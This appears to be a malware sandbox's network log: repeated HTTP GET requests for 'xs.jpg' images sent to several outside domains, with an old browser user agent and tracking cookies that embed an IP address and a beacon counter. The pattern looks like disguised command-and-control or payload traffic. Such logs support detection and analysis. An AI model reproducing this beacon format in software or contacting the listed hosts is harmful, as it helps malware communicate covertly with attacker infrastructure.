Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da20f51d=-2058775774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159411|1720159259|4|38|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?eb94bb2e=-342574290 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159411|1720159259|4|38|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?70445cbe=-228113746 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159412|1720159260|4|38|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?972d623=951125202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d82b8544=1622021392 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b09f39d0=-732261200 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159415|1720159259|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dbb6fc30=-1826294640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159416|1720159259|4|39|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?58f235fe=2037783532 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159416|1720159260|4|39|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ea782f73=-1083666855 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f026a792=-265902190 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d74bda62=-1365789500 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159419|1720159259|4|40|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f66d776=-1144003526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159420|1720159259|4|40|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ae7223c4=-1178038512 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159420|1720159260|4|40|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c74c2087=-923187898 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c94ba6e9=1541600443 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9036add6=1088075608 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159423|1720159259|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?737daee5=-839468140 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159424|1720159259|4|41|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?215ba763=1119309510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159424|1720159260|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?df150ca5=981355486 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?76eabd35=-1523882990 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2896226b=680927851 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159428|1720159259|4|42|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8fd1062=1978557004 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159428|1720159259|4|42|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bb7b9d3b=846387121 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159429|1720159260|4|42|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?35cb7c96=435346908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5428f9c6=-1471024244 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9c274079=2103526465 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159432|1720159259|4|43|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e50bb34e=-227213044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159432|1720159259|4|43|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?78f5da0c=2029378060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159433|1720159260|4|43|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?d6d21078=-2072628888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?91c553b8=1192578784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3cded4aa=-1441279834 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159436|1720159259|4|44|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?62886082=-988757756 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159437|1720159259|4|44|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f69d2558=-472420344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159437|1720159260|4|44|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a4a56c66=-1532662682 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?832f1280=-1987233920 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?54daef13=-24064711 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159441|1720159259|4|45|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?99af4b5=1289201064 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159441|1720159259|4|45|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da885230=-1257200544 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159442|1720159260|4|45|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9f1e262=1407435972 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5829e9af=-1051767432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?25df21c8=788074048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159445|1720159259|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?327e2a9f=-118642122 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159446|1720159259|4|46|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?22eaebd4=-1365861596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159447|1720159260|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7dfe147e=-67360516 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6f42bef3=181614757 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?80947de5=58389342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159450|1720159259|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?48dbc808=-1850241008 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159450|1720159259|4|47|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2c73ccc=186446640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159451|1720159260|4|47|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5a80b326=-737830608 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?626616cd=-335646207 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f260cef5=-685609761 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159454|1720159259|4|48|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?216d3e73=-930122062 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159454|1720159259|4|48|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9e2ac5aa=2024478376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159455|1720159260|4|48|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ef46a9a2=-1402908630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?37f8d56f=1339359386 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?939b7bae=155214274 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159458|1720159259|4|49|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?67316d6f=898910285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159459|1720159259|4|49|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?baebcf66=1295391228 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159459|1720159260|4|49|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6582b518=-1852285480 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1b99da6=86825202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9055f4a9=-1873414999 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159463|1720159259|4|50|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dbb63107=-575567816 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159463|1720159259|4|50|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c7d4d608=1993464376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159464|1720159260|4|50|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?787713d7=1515414323 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8a282b2c=-954651084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b3df36a1=1740533058 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159467|1720159259|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a62d3528=-1506986712 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159467|1720159259|4|51|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5f87de0d=2115991604 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159468|1720159260|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?baaa592=1761595938 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a5242bcc=-834303444 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9ad6cfae=1905085726 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159471|1720159259|4|52|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9f1f7a44=-1743041436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159472|1720159259|4|52|0
